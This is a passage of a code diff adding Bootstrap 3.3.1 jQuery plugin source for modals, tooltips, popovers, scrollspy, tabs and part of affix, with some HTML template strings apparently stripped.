+ Modal.prototype.backdrop = function (callback) {
+ var that = this
+ var animate = this.$element.hasClass('fade') ? 'fade' : ''
+
+ if (this.isShown && this.options.backdrop) {
+ var doAnimate = $.support.transition && animate
+
+ this.$backdrop = $('
')
+ .prependTo(this.$element)
+ .on('click.dismiss.bs.modal', $.proxy(function (e) {
+ if (e.target !== e.currentTarget) return
+ this.options.backdrop == 'static'
+ ? this.$element[0].focus.call(this.$element[0])
+ : this.hide.call(this)
+ }, this))
+
+ if (doAnimate) this.$backdrop[0].offsetWidth // force reflow
+
+ this.$backdrop.addClass('in')
+
+ if (!callback) return
+
+ doAnimate ?
+ this.$backdrop
+ .one('bsTransitionEnd', callback)
+ .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :
+ callback()
+
+ } else if (!this.isShown && this.$backdrop) {
+ this.$backdrop.removeClass('in')
+
+ var callbackRemove = function () {
+ that.removeBackdrop()
+ callback && callback()
+ }
+ $.support.transition && this.$element.hasClass('fade') ?
+ this.$backdrop
+ .one('bsTransitionEnd', callbackRemove)
+ .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :
+ callbackRemove()
+
+ } else if (callback) {
+ callback()
+ }
+ }
+
+ // these following methods are used to handle overflowing modals
+
+ Modal.prototype.handleUpdate = function () {
+ if (this.options.backdrop) this.adjustBackdrop()
+ this.adjustDialog()
+ }
+
+ Modal.prototype.adjustBackdrop = function () {
+ this.$backdrop
+ .css('height', 0)
+ .css('height', this.$element[0].scrollHeight)
+ }
+
+ Modal.prototype.adjustDialog = function () {
+ var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight
+
+ this.$element.css({
+ paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '',
+ paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : ''
+ })
+ }
+
+ Modal.prototype.resetAdjustments = function () {
+ this.$element.css({
+ paddingLeft: '',
+ paddingRight: ''
+ })
+ }
+
+ Modal.prototype.checkScrollbar = function () {
+ this.bodyIsOverflowing = document.body.scrollHeight > document.documentElement.clientHeight
+ this.scrollbarWidth = this.measureScrollbar()
+ }
+
+ Modal.prototype.setScrollbar = function () {
+ var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10)
+ if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth)
+ }
+
+ Modal.prototype.resetScrollbar = function () {
+ this.$body.css('padding-right', '')
+ }
+
+ Modal.prototype.measureScrollbar = function () { // thx walsh
+ var scrollDiv = document.createElement('div')
+ scrollDiv.className = 'modal-scrollbar-measure'
+ this.$body.append(scrollDiv)
+ var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth
+ this.$body[0].removeChild(scrollDiv)
+ return scrollbarWidth
+ }
+
+
+ // MODAL PLUGIN DEFINITION
+ // =======================
+
+ function Plugin(option, _relatedTarget) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.modal')
+ var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option)
+
+ if (!data) $this.data('bs.modal', (data = new Modal(this, options)))
+ if (typeof option == 'string') data[option](_relatedTarget)
+ else if (options.show) data.show(_relatedTarget)
+ })
+ }
+
+ var old = $.fn.modal
+
+ $.fn.modal = Plugin
+ $.fn.modal.Constructor = Modal
+
+
+ // MODAL NO CONFLICT
+ // =================
+
+ $.fn.modal.noConflict = function () {
+ $.fn.modal = old
+ return this
+ }
+
+
+ // MODAL DATA-API
+ // ==============
+
+ $(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) {
+ var $this = $(this)
+ var href = $this.attr('href')
+ var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7
+ var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data())
+
+ if ($this.is('a')) e.preventDefault()
+
+ $target.one('show.bs.modal', function (showEvent) {
+ if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown
+ $target.one('hidden.bs.modal', function () {
+ $this.is(':visible') && $this.trigger('focus')
+ })
+ })
+ Plugin.call($target, option, this)
+ })
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: tooltip.js v3.3.1
+ * http://getbootstrap.com/javascript/#tooltip
+ * Inspired by the original jQuery.tipsy by Jason Frame
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // TOOLTIP PUBLIC CLASS DEFINITION
+ // ===============================
+
+ var Tooltip = function (element, options) {
+ this.type =
+ this.options =
+ this.enabled =
+ this.timeout =
+ this.hoverState =
+ this.$element = null
+
+ this.init('tooltip', element, options)
+ }
+
+ Tooltip.VERSION = '3.3.1'
+
+ Tooltip.TRANSITION_DURATION = 150
+
+ Tooltip.DEFAULTS = {
+ animation: true,
+ placement: 'top',
+ selector: false,
+ template: '
',
+ trigger: 'hover focus',
+ title: '',
+ delay: 0,
+ html: false,
+ container: false,
+ viewport: {
+ selector: 'body',
+ padding: 0
+ }
+ }
+
+ Tooltip.prototype.init = function (type, element, options) {
+ this.enabled = true
+ this.type = type
+ this.$element = $(element)
+ this.options = this.getOptions(options)
+ this.$viewport = this.options.viewport && $(this.options.viewport.selector || this.options.viewport)
+
+ var triggers = this.options.trigger.split(' ')
+
+ for (var i = triggers.length; i--;) {
+ var trigger = triggers[i]
+
+ if (trigger == 'click') {
+ this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this))
+ } else if (trigger != 'manual') {
+ var eventIn = trigger == 'hover' ? 'mouseenter' : 'focusin'
+ var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout'
+
+ this.$element.on(eventIn + '.' + this.type, this.options.selector, $.proxy(this.enter, this))
+ this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this))
+ }
+ }
+
+ this.options.selector ?
+ (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) :
+ this.fixTitle()
+ }
+
+ Tooltip.prototype.getDefaults = function () {
+ return Tooltip.DEFAULTS
+ }
+
+ Tooltip.prototype.getOptions = function (options) {
+ options = $.extend({}, this.getDefaults(), this.$element.data(), options)
+
+ if (options.delay && typeof options.delay == 'number') {
+ options.delay = {
+ show: options.delay,
+ hide: options.delay
+ }
+ }
+
+ return options
+ }
+
+ Tooltip.prototype.getDelegateOptions = function () {
+ var options = {}
+ var defaults = this.getDefaults()
+
+ this._options && $.each(this._options, function (key, value) {
+ if (defaults[key] != value) options[key] = value
+ })
+
+ return options
+ }
+
+ Tooltip.prototype.enter = function (obj) {
+ var self = obj instanceof this.constructor ?
+ obj : $(obj.currentTarget).data('bs.' + this.type)
+
+ if (self && self.$tip && self.$tip.is(':visible')) {
+ self.hoverState = 'in'
+ return
+ }
+
+ if (!self) {
+ self = new this.constructor(obj.currentTarget, this.getDelegateOptions())
+ $(obj.currentTarget).data('bs.' + this.type, self)
+ }
+
+ clearTimeout(self.timeout)
+
+ self.hoverState = 'in'
+
+ if (!self.options.delay || !self.options.delay.show) return self.show()
+
+ self.timeout = setTimeout(function () {
+ if (self.hoverState == 'in') self.show()
+ }, self.options.delay.show)
+ }
+
+ Tooltip.prototype.leave = function (obj) {
+ var self = obj instanceof this.constructor ?
+ obj : $(obj.currentTarget).data('bs.' + this.type)
+
+ if (!self) {
+ self = new this.constructor(obj.currentTarget, this.getDelegateOptions())
+ $(obj.currentTarget).data('bs.' + this.type, self)
+ }
+
+ clearTimeout(self.timeout)
+
+ self.hoverState = 'out'
+
+ if (!self.options.delay || !self.options.delay.hide) return self.hide()
+
+ self.timeout = setTimeout(function () {
+ if (self.hoverState == 'out') self.hide()
+ }, self.options.delay.hide)
+ }
+
+ Tooltip.prototype.show = function () {
+ var e = $.Event('show.bs.' + this.type)
+
+ if (this.hasContent() && this.enabled) {
+ this.$element.trigger(e)
+
+ var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0])
+ if (e.isDefaultPrevented() || !inDom) return
+ var that = this
+
+ var $tip = this.tip()
+
+ var tipId = this.getUID(this.type)
+
+ this.setContent()
+ $tip.attr('id', tipId)
+ this.$element.attr('aria-describedby', tipId)
+
+ if (this.options.animation) $tip.addClass('fade')
+
+ var placement = typeof this.options.placement == 'function' ?
+ this.options.placement.call(this, $tip[0], this.$element[0]) :
+ this.options.placement
+
+ var autoToken = /\s?auto?\s?/i
+ var autoPlace = autoToken.test(placement)
+ if (autoPlace) placement = placement.replace(autoToken, '') || 'top'
+
+ $tip
+ .detach()
+ .css({ top: 0, left: 0, display: 'block' })
+ .addClass(placement)
+ .data('bs.' + this.type, this)
+
+ this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)
+
+ var pos = this.getPosition()
+ var actualWidth = $tip[0].offsetWidth
+ var actualHeight = $tip[0].offsetHeight
+
+ if (autoPlace) {
+ var orgPlacement = placement
+ var $container = this.options.container ? $(this.options.container) : this.$element.parent()
+ var containerDim = this.getPosition($container)
+
+ placement = placement == 'bottom' && pos.bottom + actualHeight > containerDim.bottom ? 'top' :
+ placement == 'top' && pos.top - actualHeight < containerDim.top ? 'bottom' :
+ placement == 'right' && pos.right + actualWidth > containerDim.width ? 'left' :
+ placement == 'left' && pos.left - actualWidth < containerDim.left ? 'right' :
+ placement
+
+ $tip
+ .removeClass(orgPlacement)
+ .addClass(placement)
+ }
+
+ var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight)
+
+ this.applyPlacement(calculatedOffset, placement)
+
+ var complete = function () {
+ var prevHoverState = that.hoverState
+ that.$element.trigger('shown.bs.' + that.type)
+ that.hoverState = null
+
+ if (prevHoverState == 'out') that.leave(that)
+ }
+
+ $.support.transition && this.$tip.hasClass('fade') ?
+ $tip
+ .one('bsTransitionEnd', complete)
+ .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :
+ complete()
+ }
+ }
+
+ Tooltip.prototype.applyPlacement = function (offset, placement) {
+ var $tip = this.tip()
+ var width = $tip[0].offsetWidth
+ var height = $tip[0].offsetHeight
+
+ // manually read margins because getBoundingClientRect includes difference
+ var marginTop = parseInt($tip.css('margin-top'), 10)
+ var marginLeft = parseInt($tip.css('margin-left'), 10)
+
+ // we must check for NaN for ie 8/9
+ if (isNaN(marginTop)) marginTop = 0
+ if (isNaN(marginLeft)) marginLeft = 0
+
+ offset.top = offset.top + marginTop
+ offset.left = offset.left + marginLeft
+
+ // $.fn.offset doesn't round pixel values
+ // so we use setOffset directly with our own function B-0
+ $.offset.setOffset($tip[0], $.extend({
+ using: function (props) {
+ $tip.css({
+ top: Math.round(props.top),
+ left: Math.round(props.left)
+ })
+ }
+ }, offset), 0)
+
+ $tip.addClass('in')
+
+ // check to see if placing tip in new offset caused the tip to resize itself
+ var actualWidth = $tip[0].offsetWidth
+ var actualHeight = $tip[0].offsetHeight
+
+ if (placement == 'top' && actualHeight != height) {
+ offset.top = offset.top + height - actualHeight
+ }
+
+ var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight)
+
+ if (delta.left) offset.left += delta.left
+ else offset.top += delta.top
+
+ var isVertical = /top|bottom/.test(placement)
+ var arrowDelta = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight
+ var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight'
+
+ $tip.offset(offset)
+ this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical)
+ }
+
+ Tooltip.prototype.replaceArrow = function (delta, dimension, isHorizontal) {
+ this.arrow()
+ .css(isHorizontal ? 'left' : 'top', 50 * (1 - delta / dimension) + '%')
+ .css(isHorizontal ? 'top' : 'left', '')
+ }
+
+ Tooltip.prototype.setContent = function () {
+ var $tip = this.tip()
+ var title = this.getTitle()
+
+ $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title)
+ $tip.removeClass('fade in top bottom left right')
+ }
+
+ Tooltip.prototype.hide = function (callback) {
+ var that = this
+ var $tip = this.tip()
+ var e = $.Event('hide.bs.' + this.type)
+
+ function complete() {
+ if (that.hoverState != 'in') $tip.detach()
+ that.$element
+ .removeAttr('aria-describedby')
+ .trigger('hidden.bs.' + that.type)
+ callback && callback()
+ }
+
+ this.$element.trigger(e)
+
+ if (e.isDefaultPrevented()) return
+
+ $tip.removeClass('in')
+
+ $.support.transition && this.$tip.hasClass('fade') ?
+ $tip
+ .one('bsTransitionEnd', complete)
+ .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :
+ complete()
+
+ this.hoverState = null
+
+ return this
+ }
+
+ Tooltip.prototype.fixTitle = function () {
+ var $e = this.$element
+ if ($e.attr('title') || typeof ($e.attr('data-original-title')) != 'string') {
+ $e.attr('data-original-title', $e.attr('title') || '').attr('title', '')
+ }
+ }
+
+ Tooltip.prototype.hasContent = function () {
+ return this.getTitle()
+ }
+
+ Tooltip.prototype.getPosition = function ($element) {
+ $element = $element || this.$element
+
+ var el = $element[0]
+ var isBody = el.tagName == 'BODY'
+
+ var elRect = el.getBoundingClientRect()
+ if (elRect.width == null) {
+ // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093
+ elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top })
+ }
+ var elOffset = isBody ? { top: 0, left: 0 } : $element.offset()
+ var scroll = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() }
+ var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null
+
+ return $.extend({}, elRect, scroll, outerDims, elOffset)
+ }
+
+ Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) {
+ return placement == 'bottom' ? { top: pos.top + pos.height, left: pos.left + pos.width / 2 - actualWidth / 2 } :
+ placement == 'top' ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } :
+ placement == 'left' ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } :
+ /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width }
+
+ }
+
+ Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) {
+ var delta = { top: 0, left: 0 }
+ if (!this.$viewport) return delta
+
+ var viewportPadding = this.options.viewport && this.options.viewport.padding || 0
+ var viewportDimensions = this.getPosition(this.$viewport)
+
+ if (/right|left/.test(placement)) {
+ var topEdgeOffset = pos.top - viewportPadding - viewportDimensions.scroll
+ var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight
+ if (topEdgeOffset < viewportDimensions.top) { // top overflow
+ delta.top = viewportDimensions.top - topEdgeOffset
+ } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow
+ delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset
+ }
+ } else {
+ var leftEdgeOffset = pos.left - viewportPadding
+ var rightEdgeOffset = pos.left + viewportPadding + actualWidth
+ if (leftEdgeOffset < viewportDimensions.left) { // left overflow
+ delta.left = viewportDimensions.left - leftEdgeOffset
+ } else if (rightEdgeOffset > viewportDimensions.width) { // right overflow
+ delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset
+ }
+ }
+
+ return delta
+ }
+
+ Tooltip.prototype.getTitle = function () {
+ var title
+ var $e = this.$element
+ var o = this.options
+
+ title = $e.attr('data-original-title')
+ || (typeof o.title == 'function' ? o.title.call($e[0]) : o.title)
+
+ return title
+ }
+
+ Tooltip.prototype.getUID = function (prefix) {
+ do prefix += ~~(Math.random() * 1000000)
+ while (document.getElementById(prefix))
+ return prefix
+ }
+
+ Tooltip.prototype.tip = function () {
+ return (this.$tip = this.$tip || $(this.options.template))
+ }
+
+ Tooltip.prototype.arrow = function () {
+ return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow'))
+ }
+
+ Tooltip.prototype.enable = function () {
+ this.enabled = true
+ }
+
+ Tooltip.prototype.disable = function () {
+ this.enabled = false
+ }
+
+ Tooltip.prototype.toggleEnabled = function () {
+ this.enabled = !this.enabled
+ }
+
+ Tooltip.prototype.toggle = function (e) {
+ var self = this
+ if (e) {
+ self = $(e.currentTarget).data('bs.' + this.type)
+ if (!self) {
+ self = new this.constructor(e.currentTarget, this.getDelegateOptions())
+ $(e.currentTarget).data('bs.' + this.type, self)
+ }
+ }
+
+ self.tip().hasClass('in') ? self.leave(self) : self.enter(self)
+ }
+
+ Tooltip.prototype.destroy = function () {
+ var that = this
+ clearTimeout(this.timeout)
+ this.hide(function () {
+ that.$element.off('.' + that.type).removeData('bs.' + that.type)
+ })
+ }
+
+
+ // TOOLTIP PLUGIN DEFINITION
+ // =========================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.tooltip')
+ var options = typeof option == 'object' && option
+ var selector = options && options.selector
+
+ if (!data && option == 'destroy') return
+ if (selector) {
+ if (!data) $this.data('bs.tooltip', (data = {}))
+ if (!data[selector]) data[selector] = new Tooltip(this, options)
+ } else {
+ if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))
+ }
+ if (typeof option == 'string') data[option]()
+ })
+ }
+
+ var old = $.fn.tooltip
+
+ $.fn.tooltip = Plugin
+ $.fn.tooltip.Constructor = Tooltip
+
+
+ // TOOLTIP NO CONFLICT
+ // ===================
+
+ $.fn.tooltip.noConflict = function () {
+ $.fn.tooltip = old
+ return this
+ }
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: popover.js v3.3.1
+ * http://getbootstrap.com/javascript/#popovers
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // POPOVER PUBLIC CLASS DEFINITION
+ // ===============================
+
+ var Popover = function (element, options) {
+ this.init('popover', element, options)
+ }
+
+ if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js')
+
+ Popover.VERSION = '3.3.1'
+
+ Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, {
+ placement: 'right',
+ trigger: 'click',
+ content: '',
+ template: '
'
+ })
+
+
+ // NOTE: POPOVER EXTENDS tooltip.js
+ // ================================
+
+ Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype)
+
+ Popover.prototype.constructor = Popover
+
+ Popover.prototype.getDefaults = function () {
+ return Popover.DEFAULTS
+ }
+
+ Popover.prototype.setContent = function () {
+ var $tip = this.tip()
+ var title = this.getTitle()
+ var content = this.getContent()
+
+ $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title)
+ $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events
+ this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text'
+ ](content)
+
+ $tip.removeClass('fade top bottom left right in')
+
+ // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do
+ // this manually by checking the contents.
+ if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide()
+ }
+
+ Popover.prototype.hasContent = function () {
+ return this.getTitle() || this.getContent()
+ }
+
+ Popover.prototype.getContent = function () {
+ var $e = this.$element
+ var o = this.options
+
+ return $e.attr('data-content')
+ || (typeof o.content == 'function' ?
+ o.content.call($e[0]) :
+ o.content)
+ }
+
+ Popover.prototype.arrow = function () {
+ return (this.$arrow = this.$arrow || this.tip().find('.arrow'))
+ }
+
+ Popover.prototype.tip = function () {
+ if (!this.$tip) this.$tip = $(this.options.template)
+ return this.$tip
+ }
+
+
+ // POPOVER PLUGIN DEFINITION
+ // =========================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.popover')
+ var options = typeof option == 'object' && option
+ var selector = options && options.selector
+
+ if (!data && option == 'destroy') return
+ if (selector) {
+ if (!data) $this.data('bs.popover', (data = {}))
+ if (!data[selector]) data[selector] = new Popover(this, options)
+ } else {
+ if (!data) $this.data('bs.popover', (data = new Popover(this, options)))
+ }
+ if (typeof option == 'string') data[option]()
+ })
+ }
+
+ var old = $.fn.popover
+
+ $.fn.popover = Plugin
+ $.fn.popover.Constructor = Popover
+
+
+ // POPOVER NO CONFLICT
+ // ===================
+
+ $.fn.popover.noConflict = function () {
+ $.fn.popover = old
+ return this
+ }
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: scrollspy.js v3.3.1
+ * http://getbootstrap.com/javascript/#scrollspy
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // SCROLLSPY CLASS DEFINITION
+ // ==========================
+
+ function ScrollSpy(element, options) {
+ var process = $.proxy(this.process, this)
+
+ this.$body = $('body')
+ this.$scrollElement = $(element).is('body') ? $(window) : $(element)
+ this.options = $.extend({}, ScrollSpy.DEFAULTS, options)
+ this.selector = (this.options.target || '') + ' .nav li > a'
+ this.offsets = []
+ this.targets = []
+ this.activeTarget = null
+ this.scrollHeight = 0
+
+ this.$scrollElement.on('scroll.bs.scrollspy', process)
+ this.refresh()
+ this.process()
+ }
+
+ ScrollSpy.VERSION = '3.3.1'
+
+ ScrollSpy.DEFAULTS = {
+ offset: 10
+ }
+
+ ScrollSpy.prototype.getScrollHeight = function () {
+ return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight)
+ }
+
+ ScrollSpy.prototype.refresh = function () {
+ var offsetMethod = 'offset'
+ var offsetBase = 0
+
+ if (!$.isWindow(this.$scrollElement[0])) {
+ offsetMethod = 'position'
+ offsetBase = this.$scrollElement.scrollTop()
+ }
+
+ this.offsets = []
+ this.targets = []
+ this.scrollHeight = this.getScrollHeight()
+
+ var self = this
+
+ this.$body
+ .find(this.selector)
+ .map(function () {
+ var $el = $(this)
+ var href = $el.data('target') || $el.attr('href')
+ var $href = /^#./.test(href) && $(href)
+
+ return ($href
+ && $href.length
+ && $href.is(':visible')
+ && [[$href[offsetMethod]().top + offsetBase, href]]) || null
+ })
+ .sort(function (a, b) { return a[0] - b[0] })
+ .each(function () {
+ self.offsets.push(this[0])
+ self.targets.push(this[1])
+ })
+ }
+
+ ScrollSpy.prototype.process = function () {
+ var scrollTop = this.$scrollElement.scrollTop() + this.options.offset
+ var scrollHeight = this.getScrollHeight()
+ var maxScroll = this.options.offset + scrollHeight - this.$scrollElement.height()
+ var offsets = this.offsets
+ var targets = this.targets
+ var activeTarget = this.activeTarget
+ var i
+
+ if (this.scrollHeight != scrollHeight) {
+ this.refresh()
+ }
+
+ if (scrollTop >= maxScroll) {
+ return activeTarget != (i = targets[targets.length - 1]) && this.activate(i)
+ }
+
+ if (activeTarget && scrollTop < offsets[0]) {
+ this.activeTarget = null
+ return this.clear()
+ }
+
+ for (i = offsets.length; i--;) {
+ activeTarget != targets[i]
+ && scrollTop >= offsets[i]
+ && (!offsets[i + 1] || scrollTop <= offsets[i + 1])
+ && this.activate(targets[i])
+ }
+ }
+
+ ScrollSpy.prototype.activate = function (target) {
+ this.activeTarget = target
+
+ this.clear()
+
+ var selector = this.selector +
+ '[data-target="' + target + '"],' +
+ this.selector + '[href="' + target + '"]'
+
+ var active = $(selector)
+ .parents('li')
+ .addClass('active')
+
+ if (active.parent('.dropdown-menu').length) {
+ active = active
+ .closest('li.dropdown')
+ .addClass('active')
+ }
+
+ active.trigger('activate.bs.scrollspy')
+ }
+
+ ScrollSpy.prototype.clear = function () {
+ $(this.selector)
+ .parentsUntil(this.options.target, '.active')
+ .removeClass('active')
+ }
+
+
+ // SCROLLSPY PLUGIN DEFINITION
+ // ===========================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.scrollspy')
+ var options = typeof option == 'object' && option
+
+ if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options)))
+ if (typeof option == 'string') data[option]()
+ })
+ }
+
+ var old = $.fn.scrollspy
+
+ $.fn.scrollspy = Plugin
+ $.fn.scrollspy.Constructor = ScrollSpy
+
+
+ // SCROLLSPY NO CONFLICT
+ // =====================
+
+ $.fn.scrollspy.noConflict = function () {
+ $.fn.scrollspy = old
+ return this
+ }
+
+
+ // SCROLLSPY DATA-API
+ // ==================
+
+ $(window).on('load.bs.scrollspy.data-api', function () {
+ $('[data-spy="scroll"]').each(function () {
+ var $spy = $(this)
+ Plugin.call($spy, $spy.data())
+ })
+ })
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: tab.js v3.3.1
+ * http://getbootstrap.com/javascript/#tabs
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // TAB CLASS DEFINITION
+ // ====================
+
+ var Tab = function (element) {
+ this.element = $(element)
+ }
+
+ Tab.VERSION = '3.3.1'
+
+ Tab.TRANSITION_DURATION = 150
+
+ Tab.prototype.show = function () {
+ var $this = this.element
+ var $ul = $this.closest('ul:not(.dropdown-menu)')
+ var selector = $this.data('target')
+
+ if (!selector) {
+ selector = $this.attr('href')
+ selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7
+ }
+
+ if ($this.parent('li').hasClass('active')) return
+
+ var $previous = $ul.find('.active:last a')
+ var hideEvent = $.Event('hide.bs.tab', {
+ relatedTarget: $this[0]
+ })
+ var showEvent = $.Event('show.bs.tab', {
+ relatedTarget: $previous[0]
+ })
+
+ $previous.trigger(hideEvent)
+ $this.trigger(showEvent)
+
+ if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return
+
+ var $target = $(selector)
+
+ this.activate($this.closest('li'), $ul)
+ this.activate($target, $target.parent(), function () {
+ $previous.trigger({
+ type: 'hidden.bs.tab',
+ relatedTarget: $this[0]
+ })
+ $this.trigger({
+ type: 'shown.bs.tab',
+ relatedTarget: $previous[0]
+ })
+ })
+ }
+
+ Tab.prototype.activate = function (element, container, callback) {
+ var $active = container.find('> .active')
+ var transition = callback
+ && $.support.transition
+ && (($active.length && $active.hasClass('fade')) || !!container.find('> .fade').length)
+
+ function next() {
+ $active
+ .removeClass('active')
+ .find('> .dropdown-menu > .active')
+ .removeClass('active')
+ .end()
+ .find('[data-toggle="tab"]')
+ .attr('aria-expanded', false)
+
+ element
+ .addClass('active')
+ .find('[data-toggle="tab"]')
+ .attr('aria-expanded', true)
+
+ if (transition) {
+ element[0].offsetWidth // reflow for transition
+ element.addClass('in')
+ } else {
+ element.removeClass('fade')
+ }
+
+ if (element.parent('.dropdown-menu')) {
+ element
+ .closest('li.dropdown')
+ .addClass('active')
+ .end()
+ .find('[data-toggle="tab"]')
+ .attr('aria-expanded', true)
+ }
+
+ callback && callback()
+ }
+
+ $active.length && transition ?
+ $active
+ .one('bsTransitionEnd', next)
+ .emulateTransitionEnd(Tab.TRANSITION_DURATION) :
+ next()
+
+ $active.removeClass('in')
+ }
+
+
+ // TAB PLUGIN DEFINITION
+ // =====================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.tab')
+
+ if (!data) $this.data('bs.tab', (data = new Tab(this)))
+ if (typeof option == 'string') data[option]()
+ })
+ }
+
+ var old = $.fn.tab
+
+ $.fn.tab = Plugin
+ $.fn.tab.Constructor = Tab
+
+
+ // TAB NO CONFLICT
+ // ===============
+
+ $.fn.tab.noConflict = function () {
+ $.fn.tab = old
+ return this
+ }
+
+
+ // TAB DATA-API
+ // ============
+
+ var clickHandler = function (e) {
+ e.preventDefault()
+ Plugin.call($(this), 'show')
+ }
+
+ $(document)
+ .on('click.bs.tab.data-api', '[data-toggle="tab"]', clickHandler)
+ .on('click.bs.tab.data-api', '[data-toggle="pill"]', clickHandler)
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: affix.js v3.3.1
+ * http://getbootstrap.com/javascript/#affix
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // AFFIX CLASS DEFINITION
+ // ======================
+
+ var Affix = function (element, options) {
+ this.options = $.extend({}, Affix.DEFAULTS, options)
+
+ this.$target = $(this.options.target)
+ .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this))
+ .on('click.bs.affix.data-api', $.proxy(this.checkPositionWithEventLoop, this))
+
+ this.$element = $(element)
+ this.affixed =
+ this.unpin =
+ this.pinnedOffset = null
+
+ this.checkPosition()
+ }
+
+ Affix.VERSION = '3.3.1'
+
+ Affix.RESET = 'affix affix-top affix-bottom'
+
+ Affix.DEFAULTS = {
+ offset: 0,
+ target: window
+ }
+
+ Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) {
+ var scrollTop = this.$target.scrollTop()
+ var position = this.$element.offset()
+ var targetHeight = this.$target.height()
+
+ if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false
+
+ if (this.affixed == 'bottom') {
+ if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom'
+ return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom'
+ }
+
+ var initializing = this.affixed == null
+ var colliderTop = initializing ? scrollTop : position.top
+ var colliderHeight = initializing ? targetHeight : height
+
